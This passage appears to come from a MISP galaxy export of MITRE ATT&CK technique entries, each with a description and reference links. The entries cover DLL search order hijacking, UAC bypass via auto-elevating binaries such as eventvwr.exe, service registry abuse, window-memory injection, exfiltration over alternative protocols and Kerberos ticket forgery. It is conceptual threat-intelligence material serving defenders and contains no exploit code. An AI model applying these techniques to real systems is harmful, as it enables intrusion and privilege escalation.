https://attack.mitre.org/techniques/T1630
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-43.html

File and Directory Discovery - T1083

Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.

Many command shell utilities can be used to obtain this information. Examples include <code>dir</code>, <code>tree</code>, <code>ls</code>, <code>find</code>, and <code>locate</code>.(Citation: Windows Commands JPCERT) Custom tools may also be used to gather file and directory information and interact with the [Native API](https://attack.mitre.org/techniques/T1106). Adversaries may also leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to gather file and directory information (e.g. <code>dir</code>, <code>show flash</code>, and/or <code>nvram</code>).(Citation: US-CERT-TA18-106A)

Some files and directories may require elevated or specific user permissions to access.

The tag is: *misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083"*

Table 8141. Table References

Links
https://attack.mitre.org/techniques/T1083
https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html
https://www.us-cert.gov/ncas/alerts/TA18-106A

DLL Search Order Hijacking - T1038

Windows systems use a common method to look for required DLLs to load into a program. (Citation: Microsoft DLL Search) Adversaries may take advantage of the Windows DLL search order and programs that ambiguously specify DLLs to gain privilege escalation and persistence.

Adversaries may perform DLL preloading, also called binary planting attacks, (Citation: OWASP Binary Planting) by placing a malicious DLL with the same name as an ambiguously specified DLL in a location that Windows searches before the legitimate DLL. Often this location is the current working directory of the program. Remote DLL preloading attacks occur when a program sets its current directory to a remote location such as a Web share before loading a DLL. (Citation: Microsoft 2269637) Adversaries may use this behavior to cause the program to load a malicious DLL.

Adversaries may also directly modify the way a program loads DLLs by replacing an existing DLL or modifying a .manifest or .local redirection file, directory, or junction to cause the program to load a different DLL to maintain persistence or privilege escalation. (Citation: Microsoft DLL Redirection) (Citation: Microsoft Manifests) (Citation: Mandiant Search Order)

If a search order-vulnerable program is configured to run at a higher privilege level, then the adversary-controlled DLL that is loaded will also be executed at the higher level. In this case, the technique could be used for privilege escalation from user to administrator or SYSTEM or from administrator to SYSTEM, depending on the program.

Programs that fall victim to path hijacking may appear to behave normally because malicious DLLs may be configured to also load the legitimate DLLs they were meant to replace.

The tag is: *misp-galaxy:mitre-attack-pattern="DLL Search Order Hijacking - T1038"*

Table 8142. Table References

Links
http://msdn.microsoft.com/en-US/library/ms682586
http://msdn.microsoft.com/en-US/library/ms682600
https://attack.mitre.org/techniques/T1038
https://capec.mitre.org/data/definitions/471.html
https://msdn.microsoft.com/en-US/library/aa375365
https://msrc-blog.microsoft.com/2010/08/21/microsoft-security-advisory-2269637-released/
https://www.mandiant.com/blog/dll-search-order-hijacking-revisited/
https://www.owasp.org/index.php/Binary_planting

Deploy exploit using advertising - T1380

This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.

Exploits spread through advertising (malvertising) involve injecting malicious or malware-laden advertisements into legitimate online advertising networks and webpages. (Citation: TPMalvertising)

The tag is: *misp-galaxy:mitre-attack-pattern="Deploy exploit using advertising - T1380"*

Table 8143. Table References

Links
https://attack.mitre.org/techniques/T1380

Detect App Analysis Environment - T1440

An adversary could evade app vetting techniques by placing code in a malicious application to detect whether it is running in an app analysis environment and, if so, avoid performing malicious actions while under analysis.

Discussion of general Android anti-analysis techniques can be found in (Citation: Petsas). Discussion of Google Play Store-specific anti-analysis techniques can be found in (Citation: Oberheide-Bouncer), (Citation: Percoco-Bouncer).

```
(Citation: Wang) presents a discussion of iOS anti-analysis techniques.
```

Platforms: Android, iOS

The tag is: *misp-galaxy:mitre-attack-pattern="Detect App Analysis Environment - T1440"*

Table 8144. Table References

Links
https://attack.mitre.org/techniques/T1440

Exploitation for Privilege Escalation - T1404

Adversaries may exploit software vulnerabilities in order to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in an application, service, within the operating system software, or kernel itself to execute adversary-controlled code. Security constructions, such as permission levels, will often hinder access to information and use of certain techniques. Adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.

When initially gaining access to a device, an adversary may be operating within a lower privileged process which will prevent them from accessing certain resources on the system. Vulnerabilities may exist, usually in operating system components and applications running at higher permissions, that can be exploited to gain higher levels of access on the system. This could enable someone to move from unprivileged or user- level permission to root permissions depending on the component that is vulnerable.

The tag is: *misp-galaxy:mitre-attack-pattern="Exploitation for Privilege Escalation - T1404"*

Table 8145. Table References

Links
https://attack.mitre.org/techniques/T1404
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-26.html

File System Permissions Weakness - T1044

Processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself, are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.

Adversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.

Services

Manipulation of Windows service binaries is one variation of this technique. Adversaries may replace a legitimate service executable with their own executable to gain persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService). Once the service is started, either directly by the user (if appropriate access is available) or through some other means, such as a system restart if the service starts on bootup, the replaced executable will run instead of the original service executable.

Executable Installers

Another variation of this technique can be performed by taking advantage of a weakness that is common in executable, self-extracting installers. During the installation process, it is common for installers to use a subdirectory within the <code>%TEMP%</code> directory to unpack binaries such as DLLs, EXEs, or other payloads. When installers create subdirectories and files they often do not set appropriate permissions to restrict write access, which allows for execution of untrusted code placed in the subdirectories or overwriting of binaries used in the installation process. This behavior is related to and may take advantage of [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038). Some installers may also require elevated privileges that will result in privilege escalation when executing adversary controlled code. This behavior is related to [Bypass User Account Control](https://attack.mitre.org/techniques/T1088). Several examples of this weakness in existing common installers have been reported to software vendors. (Citation: Mozilla Firefox Installer DLL Hijack) (Citation: Seclists Kanthak 7zip Installer)

The tag is: *misp-galaxy:mitre-attack-pattern="File System Permissions Weakness - T1044"*

Table 8146. Table References

Links
http://seclists.org/fulldisclosure/2015/Dec/34
https://attack.mitre.org/techniques/T1044
https://capec.mitre.org/data/definitions/17.html
https://www.mozilla.org/en-US/security/advisories/mfsa2012-98/

Obfuscated Files or Information - T1406

Adversaries may attempt to make a payload or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the device or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.

Payloads may be compressed, archived, or encrypted in order to avoid detection. These payloads may be used during Initial Access or later to mitigate detection. Portions of files can also be encoded to hide the plaintext strings that would otherwise help defenders with discovery. Payloads may also be split into separate, seemingly benign files that only reveal malicious functionality when reassembled.(Citation: Microsoft MalLockerB)

The tag is: *misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1406"*

Table 8147. Table References

Links
https://attack.mitre.org/techniques/T1406
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-21.html
https://www.microsoft.com/security/blog/2020/10/08/sophisticated-new-android-malware-marks-the-latest-evolution-of-mobile-ransomware/

Obtain Device Cloud Backups - T1470

An adversary who is able to obtain unauthorized access to or misuse authorized access to cloud backup services (e.g. Google's Android backup service or Apple's iCloud) could use that access to obtain sensitive data stored in device backups. For example, the Elcomsoft Phone Breaker product advertises the ability to retrieve iOS backup data from Apple's iCloud (Citation: Elcomsoft-EPPB). Elcomsoft also describes (Citation: Elcomsoft-WhatsApp) obtaining WhatsApp communication histories from backups stored in iCloud.

The tag is: *misp-galaxy:mitre-attack-pattern="Obtain Device Cloud Backups - T1470"*

Table 8148. Table References

Links
https://attack.mitre.org/techniques/T1470
https://blog.elcomsoft.com/2017/07/extract-and-decrypt-whatsapp-backups-from-icloud/

https://pages.nist.gov/mobile-threat-catalogue/ecosystem-threats/ECO-0.html
https://pages.nist.gov/mobile-threat-catalogue/ecosystem-threats/ECO-1.html
https://www.elcomsoft.com/eppb.html

Exfiltration Over Alternative Protocol - T1048

Adversaries may steal data by exfiltrating it over a different protocol than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server.

Alternate protocols include FTP, SMTP, HTTP/S, DNS, SMB, or any other network protocol not being used as the main command and control channel. Adversaries may also opt to encrypt and/or obfuscate these alternate channels.

[Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048) can be done using various common operating system utilities such as [Net](https://attack.mitre.org/software/S0039)/SMB or FTP.(Citation: Palo Alto OilRig Oct 2016) On macOS and Linux <code>curl</code> may be used to invoke protocols such as HTTP/S or FTP/S to exfiltrate data from a system.(Citation: 20 macOS Common Tools and Techniques)

Many IaaS and SaaS platforms (such as Microsoft Exchange, Microsoft SharePoint, GitHub, and AWS S3) support the direct download of files, emails, source code, and other sensitive information via the web console or [Cloud API](https://attack.mitre.org/techniques/T1059/009).

The tag is: *misp-galaxy:mitre-attack-pattern="Exfiltration Over Alternative Protocol - T1048"*

Table 8149. Table References

Links
http://researchcenter.paloaltonetworks.com/2016/10/unit42-oilrig-malware-campaign-updates-toolset-and-expands-targets/
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
https://attack.mitre.org/techniques/T1048
https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/

System Network Connections Discovery - T1049

Adversaries may attempt to get a listing of network connections to or from the compromised system they are currently accessing or from remote systems by querying for information over the network.

An adversary who gains access to a system that is part of a cloud-based environment may map out Virtual Private Clouds or Virtual Networks in order to determine what systems and services are connected. The actions performed are likely the same types of discovery techniques depending on the operating system, but the resulting information may include details about the networked cloud environment relevant to the adversary's goals. Cloud providers may have different ways in which

their virtual networks operate.(Citation: Amazon AWS VPC Guide)(Citation: Microsoft Azure Virtual Network Overview)(Citation: Google VPC Overview) Similarly, adversaries who gain access to network devices may also perform similar discovery activities to gather information about connected systems and services.

Utilities and commands that acquire this information include [netstat](https://attack.mitre.org/software/S0104), "net use," and "net session" with [Net](https://attack.mitre.org/software/S0039). In Mac and Linux, [netstat](https://attack.mitre.org/software/S0104) and <code>lsof</code> can be used to list current connections. <code>who -a</code> and <code>w</code> can be used to show which users are currently logged in, similar to "net session". Additionally, built-in features native to network devices and [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) may be used (e.g. <code>show ip sockets</code>, <code>show tcp brief</code>).(Citation: US-CERT-TA18-106A) On ESXi servers, the command `esxi network ip connection list` can be used to list active network connections.(Citation: Sygnia ESXi Ransomware 2025)

The tag is: *misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049"*

Table 8150. Table References

Links
https://attack.mitre.org/techniques/T1049
https://cloud.google.com/vpc/docs/vpc
https://docs.aws.amazon.com/vpc/latest/userguide/what-is-amazon-vpc.html
https://docs.microsoft.com/en-us/azure/virtual-network/virtual-networks-overview
https://www.sygnia.co/blog/esxi-ransomware-ssh-tunneling-defense-strategies/
https://www.us-cert.gov/ncas/alerts/TA18-106A

Use Alternate Authentication Material - T1550

Adversaries may use alternate authentication material, such as password hashes, Kerberos tickets, and application access tokens, in order to move laterally within an environment and bypass normal system access controls.

Authentication processes generally require a valid identity (e.g., username) along with one or more authentication factors (e.g., password, pin, physical smart card, token generator, etc.). Alternate authentication material is legitimately generated by systems after a user or application successfully authenticates by providing a valid identity and the required authentication factor(s). Alternate authentication material may also be generated during the identity creation process.(Citation: NIST Authentication)(Citation: NIST MFA)

Caching alternate authentication material allows the system to verify an identity has successfully authenticated without asking the user to reenter authentication factor(s). Because the alternate authentication must be maintained by the system—either in memory or on disk—it may be at risk of being stolen through [Credential Access](https://attack.mitre.org/tactics/TA0006) techniques. By stealing alternate authentication material, adversaries are able to bypass system access controls and authenticate to systems without knowing the plaintext password or any additional authentication factors.

The tag is: *misp-galaxy:mitre-attack-pattern="Use Alternate Authentication Material - T1550"*

Table 8151. Table References

Links
https://attack.mitre.org/techniques/T1550
https://csrc.nist.gov/glossary/term/authentication
https://csrc.nist.gov/glossary/term/multi_factor_authentication
https://technet.microsoft.com/en-us/library/dn487457.aspx

Service Registry Permissions Weakness - T1058

Windows stores local service configuration information in the Registry under <code>HKLM\SYSTEM\CurrentControlSet\Services</code>. The information stored under a service's Registry keys can be manipulated to modify a service's execution parameters through tools such as the service controller, sc.exe, [PowerShell](https://attack.mitre.org/techniques/T1086), or [Reg](https://attack.mitre.org/software/S0075). Access to Registry keys is controlled through Access Control Lists and permissions. (Citation: MSDN Registry Key Security)

If the permissions for users and groups are not properly set and allow access to the Registry keys for a service, then adversaries can change the service binPath/ImagePath to point to a different executable under their control. When the service starts or is restarted, then the adversary-controlled program will execute, allowing the adversary to gain persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService).

Adversaries may also alter Registry keys associated with service failure parameters (such as <code>FailureCommand</code>) that may be executed in an elevated context anytime the service fails or is intentionally corrupted.(Citation: TrustedSignal Service Failure)(Citation: Twitter Service Recovery Nov 2017)

The tag is: *misp-galaxy:mitre-attack-pattern="Service Registry Permissions Weakness - T1058"*

Table 8152. Table References

Links
https://attack.mitre.org/techniques/T1058
https://capec.mitre.org/data/definitions/478.html
https://msdn.microsoft.com/library/windows/desktop/ms724878.aspx
https://technet.microsoft.com/en-us/sysinternals/bb963902
https://trustedsignal.blogspot.com/2014/05/kansa-service-related-collectors-and.html
https://twitter.com/r0wdy_/status/936365549553991680

Command and Scripting Interpreter - T1059

Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of [Unix Shell](https://attack.mitre.org/techniques/T1059/004) while Windows installations include the [Windows Command Shell](https://attack.mitre.org/techniques/T1059/003) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).

There are also cross-platform interpreters such as [Python](https://attack.mitre.org/techniques/T1059/006), as well as those commonly associated with client applications such as [JavaScript](https://attack.mitre.org/techniques/T1059/007) and [Visual Basic](https://attack.mitre.org/techniques/T1059/005).

Adversaries may abuse these technologies in various ways as a means of executing arbitrary commands. Commands and scripts can be embedded in [Initial Access](https://attack.mitre.org/tactics/TA0001) payloads delivered to victims as lure documents or as secondary payloads downloaded from an existing C2. Adversaries may also execute commands through interactive terminals/shells, as well as utilize various [Remote Services](https://attack.mitre.org/techniques/T1021) in order to achieve remote Execution.(Citation: Powershell Remote Commands)(Citation: Cisco IOS Software Integrity Assurance - Command History)(Citation: Remote Shell Execution in Python)

The tag is: *misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059"*

Table 8153. Table References

Links
https://attack.mitre.org/techniques/T1059
https://docs.microsoft.com/en-us/powershell/scripting/learn/remoting/running-remote-commands?view=powershell-7.1
https://tools.cisco.com/security/center/resources/integrity_assurance.html#23
https://www.thepythoncode.com/article/executing-bash-commands-remotely-in-python

Gather Victim Network Information - T1590

Adversaries may gather information about the victim's networks that can be used during targeting. Information about networks may include a variety of details, including administrative data (ex: IP ranges, domain names, etc.) as well as specifics regarding its topology and operations.

Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about networks may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)).(Citation: WHOIS)(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Gathering this information may reveal opportunities for

other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).

The tag is: *misp-galaxy:mitre-attack-pattern="Gather Victim Network Information - T1590"*

Table 8154. Table References

Links
https://attack.mitre.org/techniques/T1590
https://dnsdumpster.com/
https://who.is/
https://www.circl.lu/services/passive-dns/

Indicator Removal from Tools - T1066

If a malicious tool is detected and quarantined or otherwise curtailed, an adversary may be able to determine why the malicious tool was detected (the indicator), modify the tool by removing the indicator, and use the updated version that is no longer detected by the target's defensive systems or subsequent targets that may use similar systems.

A good example of this is when malware is detected with a file signature and quarantined by anti-virus software. An adversary who can determine that the malware was quarantined because of its file signature may use [Software Packing](https://attack.mitre.org/techniques/T1045) or otherwise modify the file so it has a different signature, and then re-use the malware.

The tag is: *misp-galaxy:mitre-attack-pattern="Indicator Removal from Tools - T1066"*

Table 8155. Table References

Links
https://attack.mitre.org/techniques/T1066

Exploitation for Privilege Escalation - T1068

Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.

When initially gaining access to a system, an adversary may be operating within a lower privileged process which will prevent them from accessing certain resources on the system. Vulnerabilities may exist, usually in operating system components and software commonly running at higher

permissions, that can be exploited to gain higher levels of access on the system. This could enable someone to move from unprivileged or user level permissions to SYSTEM or root permissions depending on the component that is vulnerable. This could also enable an adversary to move from a virtualized environment, such as within a virtual machine or container, onto the underlying host. This may be a necessary step for an adversary compromising an endpoint system that has been properly configured and limits other privilege escalation methods.

Adversaries may bring a signed vulnerable driver onto a compromised machine so that they can exploit the vulnerability to execute code in kernel mode. This process is sometimes referred to as Bring Your Own Vulnerable Driver (BYOVD).(Citation: ESET InvisiMole June 2020)(Citation: Unit42 AcidBox June 2020) Adversaries may include the vulnerable driver with files delivered during Initial Access or download it to a compromised system via [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105) or [Lateral Tool Transfer](https://attack.mitre.org/techniques/T1570).

The tag is: *misp-galaxy:mitre-attack-pattern="Exploitation for Privilege Escalation - T1068"*

Table 8156. Table References

Links
https://attack.mitre.org/techniques/T1068
https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules
https://unit42.paloaltonetworks.com/acidbox-rare-malware/
https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf

Bypass User Account Control - T1088

Windows User Account Control (UAC) allows a program to elevate its privileges to perform a task under administrator-level permissions by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action. (Citation: TechNet How UAC Works)

If the UAC protection level of a computer is set to anything but the highest level, certain Windows programs are allowed to elevate privileges or execute some elevated COM objects without prompting the user through the UAC notification box. (Citation: TechNet Inside UAC) (Citation: MSDN COM Elevation) An example of this is use of rundll32.exe to load a specifically crafted DLL which loads an auto-elevated COM object and performs a file operation in a protected directory which would typically require elevated access. Malicious software may also be injected into a trusted process to gain elevated privileges without prompting a user. (Citation: Davidson Windows) Adversaries can use these techniques to elevate privileges to administrator if the target process is unprotected.

Many methods have been discovered to bypass UAC. The Github readme page for UACMe contains an extensive list of methods (Citation: Github UACMe) that have been discovered and implemented

within UACMe, but may not be a comprehensive list of bypasses. Additional bypass methods are regularly discovered and some used in the wild, such as:

- <code>eventvwr.exe</code> can auto-elevate and execute a specified binary or script. (Citation: enigma0x3 Fileless UAC Bypass) (Citation: Fortinet Fareit)

Another bypass is possible through some Lateral Movement techniques if credentials for an account with administrator privileges are known, since UAC is a single system security mechanism, and the privilege or integrity of a process running on one system will be unknown on lateral systems and default to high integrity. (Citation: SANS UAC Bypass)

The tag is: *misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1088"*

Table 8157. Table References

Links
http://pen-testing.sans.org/blog/pen-testing/2013/08/08/psexec-uac-bypass
http://www.pretentiousname.com/misc/win7_uac_whitelist2.html
https://attack.mitre.org/techniques/T1088
https://blog.fortinet.com/2016/12/16/malicious-macro-bypasses-uac-to-elevate-privilege-for-fareit-malware
https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/
https://enigma0x3.net/2017/03/14/bypassing-uac-using-app-paths/
https://enigma0x3.net/2017/03/17/fileless-uac-bypass-using-sdclt-exe/
https://github.com/hfiref0x/UACME
https://msdn.microsoft.com/en-us/library/ms679687.aspx
https://technet.microsoft.com/en-US/magazine/2009.07.uac.aspx
https://technet.microsoft.com/en-us/itpro/windows/keep-secure/how-user-account-control-works

Exploitation for Defense Evasion - T1211

Adversaries may exploit a system or application vulnerability to bypass security features. Exploitation of a vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Vulnerabilities may exist in defensive security software that can be used to disable or circumvent them.

Adversaries may have prior knowledge through reconnaissance that security software exists within an environment or they may perform checks during or shortly after the system is compromised for [Security Software Discovery](https://attack.mitre.org/techniques/T1518/001). The security software will likely be targeted directly for exploitation. There are examples of antivirus software being targeted by persistent threat groups to avoid detection.

There have also been examples of vulnerabilities in public cloud infrastructure of SaaS applications that may bypass defense boundaries (Citation: Salesforce zero-day in facebook phishing attack),

evade security logs (Citation: Bypassing CloudTrail in AWS Service Catalog), or deploy hidden infrastructure.(Citation: GhostToken GCP flaw)

The tag is: *misp-galaxy:mitre-attack-pattern="Exploitation for Defense Evasion - T1211"*

Table 8158. Table References

Links
https://attack.mitre.org/techniques/T1211
https://securitylabs.datadoghq.com/articles/bypass-cloudtrail-aws-service-catalog-and-other/
https://www.bleepingcomputer.com/news/security/ghosttoken-gcp-flaw-let-attackers-backdoor-google-accounts/
https://www.bleepingcomputer.com/news/security/hackers-exploited-salesforce-zero-day-in-facebook-phishing-attack/

Extra Window Memory Injection - T1181

Before creating a window, graphical Windows-based processes must prescribe to or register a windows class, which stipulate appearance and behavior (via windows procedures, which are functions that handle input/output of data). (Citation: Microsoft Window Classes) Registration of new windows classes can include a request for up to 40 bytes of extra window memory (EWM) to be appended to the allocated memory of each instance of that class. This EWM is intended to store data specific to that window and has specific application programming interface (API) functions to set and get its value. (Citation: Microsoft GetWindowLong function) (Citation: Microsoft SetWindowLong function)

Although small, the EWM is large enough to store a 32-bit pointer and is often used to point to a windows procedure. Malware may possibly utilize this memory location in part of an attack chain that includes writing code to shared sections of the process's memory, placing a pointer to the code in EWM, then invoking execution by returning execution control to the address in the process's EWM.

Execution granted through EWM injection may take place in the address space of a separate live process. Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), this may allow access to both the target process's memory and possibly elevated privileges. Writing payloads to shared sections also avoids the use of highly monitored API calls such as WriteProcessMemory and CreateRemoteThread. (Citation: Elastic Process Injection July 2017) More sophisticated malware samples may also potentially bypass protection mechanisms such as data execution prevention (DEP) by triggering a combination of windows procedures and other system functions that will rewrite the malicious payload inside an executable portion of the target process. (Citation: MalwareTech Power Loader Aug 2013) (Citation: WeLiveSecurity Gapz and Redyms Mar 2013)

The tag is: *misp-galaxy:mitre-attack-pattern="Extra Window Memory Injection - T1181"*

Table 8159. Table References

Links
https://attack.mitre.org/techniques/T1181

https://msdn.microsoft.com/library/windows/desktop/ms633574.aspx
https://msdn.microsoft.com/library/windows/desktop/ms633584.aspx
https://msdn.microsoft.com/library/windows/desktop/ms633591.aspx
https://msdn.microsoft.com/library/windows/desktop/ms644953.aspx
https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process
https://www.malwaretech.com/2013/08/powerloader-injection-something-truly.html
https://www.welivesecurity.com/2013/03/19/gapz-and-redyms-droppers-based-on-power-loader-code/

Exploitation for Credential Access - T1212

Adversaries may exploit software vulnerabilities in an attempt to collect credentials. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code.

Credentialing and authentication mechanisms may be targeted for exploitation by adversaries as a means to gain access to useful credentials or circumvent the process to gain authenticated access to systems. One example of this is `MS14-068`, which targets Kerberos and can be used to forge Kerberos tickets using domain user permissions.(Citation: Technet MS14-068)(Citation: ADSecurity Detecting Forged Tickets) Another example of this is replay attacks, in which the adversary intercepts data packets sent between parties and then later replays these packets. If services don't properly validate authentication requests, these replayed packets may allow an adversary to impersonate one of the parties and gain unauthorized access or privileges.(Citation: Bugcrowd Replay Attack)(Citation: Comparitech Replay Attack)(Citation: Microsoft Midnight Blizzard Replay Attack)

Such exploitation has been demonstrated in cloud environments as well. For example, adversaries have exploited vulnerabilities in public cloud infrastructure that allowed for unintended authentication token creation and renewal.(Citation: Storm-0558 techniques for unauthorized email access)

Exploitation for credential access may also result in Privilege Escalation depending on the process targeted or credentials obtained.

The tag is: *misp-galaxy:mitre-attack-pattern="Exploitation for Credential Access - T1212"*

Table 8160. Table References

Links
https://adsecurity.org/?p=1515
https://attack.mitre.org/techniques/T1212
https://technet.microsoft.com/en-us/library/security/ms14-068.aspx
https://www.bugcrowd.com/glossary/replay-attack/

https://www.comparitech.com/blog/information-security/what-is-a-replay-attack/
https://www.microsoft.com/en-us/security/blog/2023/07/14/analysis-of-storm-0558-techniques-for-unauthorized-email-access/
https://x.com/MsftSecIntel/status/1671579359994343425

Component Object Model Hijacking - T1122

The Component Object Model (COM) is a system within Windows to enable interaction between software components through the operating system. (Citation: Microsoft Component Object Model) Adversaries can use this system to insert malicious code that can be executed in place of legitimate software through hijacking the COM references and relationships as a means for persistence. Hijacking a COM object requires a change in the Windows Registry to replace a reference to a legitimate system component which may cause that component to not work when executed. When that system component is executed through normal system operation the adversary's code will be executed instead. (Citation: GDATA COM Hijacking) An adversary is likely to hijack objects that are used frequently enough to maintain a consistent level of persistence, but are unlikely to break noticeable functionality within the system as to avoid system instability that could lead to detection.

The tag is: *misp-galaxy:mitre-attack-pattern="Component Object Model Hijacking - T1122"*

Table 8161. Table References

Links
https://attack.mitre.org/techniques/T1122
https://blog.gdatasoftware.com/2014/10/23941-com-object-hijacking-the-discreet-way-of-persistence
https://msdn.microsoft.com/library/ms694363.aspx
https://www.elastic.co/blog/how-hunt-detecting-persistence-evasion-com

Data from Information Repositories - T1213

Adversaries may leverage information repositories to mine valuable information. Information repositories are tools that allow for storage of information, typically to facilitate collaboration or information sharing between users, and can store a wide variety of data that may aid adversaries in further objectives, such as Credential Access, Lateral Movement, or Defense Evasion, or direct access to the target information. Adversaries may also abuse external sharing features to share sensitive documents with recipients outside of the organization (i.e., [Transfer Data to Cloud Account](https://attack.mitre.org/techniques/T1537)).

The following is a brief list of example information that may hold potential value to an adversary and may also be found on an information repository:

- Policies, procedures, and standards
- Physical / logical network diagrams
- System architecture diagrams
- Technical system documentation

- Testing / development credentials (i.e., [Unsecured Credentials](https://attack.mitre.org/techniques/T1552))
- Work / project schedules
- Source code snippets
- Links to network shares and other internal resources
- Contact or other sensitive information about business partners and customers, including personally identifiable information (PII)

Information stored in a repository may vary based on the specific instance or environment. Specific common information repositories include the following:

- Storage services such as IaaS databases, enterprise databases, and more specialized platforms such as customer relationship management (CRM) databases
- Collaboration platforms such as SharePoint, Confluence, and code repositories
- Messaging platforms such as Slack and Microsoft Teams

In some cases, information repositories have been improperly secured, typically by unintentionally allowing for overly-broad access by all users or even public access to unauthenticated users. This is particularly common with cloud-native or cloud-hosted services, such as AWS Relational Database Service (RDS), Redis, or ElasticSearch.(Citation: Mitiga)(Citation: TrendMicro Exposed Redis 2020)(Citation: Cybernews Reuters Leak 2022)

The tag is: *misp-galaxy:mitre-attack-pattern="Data from Information Repositories - T1213"*

Table 8162. Table References

Links
https://attack.mitre.org/techniques/T1213
https://confluence.atlassian.com/confkb/how-to-enable-user-access-logging-182943.html
https://cybernews.com/security/thomson-reuters-leaked-terabytes-sensitive-data/
https://docs.microsoft.com/en-us/microsoft-365/compliance/use-sharing-auditing?view=o365-worldwide#sharepoint-sharing-events
https://support.office.com/en-us/article/configure-audit-settings-for-a-site-collection-a9920c97-38c0-44f2-8bcb-4cf1e2ae22d2
https://www.mitiga.io/blog/how-mitiga-found-pii-in-exposed-amazon-rds-snapshots
https://www.trendmicro.com/en_us/research/20/d/exposed-redis-instances-abused-for-remote-code-execution-cryptocurrency-mining.html

System Network Connections Discovery - T1421

Adversaries may attempt to get a listing of network connections to or from the compromised device they are currently accessing or from remote systems by querying for information over the network.

This is typically accomplished by utilizing device APIs to collect information about nearby

networks, such as Wi-Fi, Bluetooth, and cellular tower connections. On Android, this can be done by querying the respective APIs:

- `WifiInfo` for information about the current Wi-Fi connection, as well as nearby Wi-Fi networks. Querying the `WiFiInfo` API requires the application to hold the `ACCESS_FINE_LOCATION` permission.
- `BluetoothAdapter` for information about Bluetooth devices, which also requires the application to hold several permissions granted by the user at runtime.
- For Android versions prior to Q, applications can use the `TelephonyManager.getNeighboringCellInfo()` method. For Q and later, applications can use the `TelephonyManager.getAllCellInfo()` method. Both methods require the application hold the `ACCESS_FINE_LOCATION` permission.

The tag is: *misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1421"*

Table 8163. Table References

Links
https://attack.mitre.org/techniques/T1421

Kernel Modules and Extensions - T1215

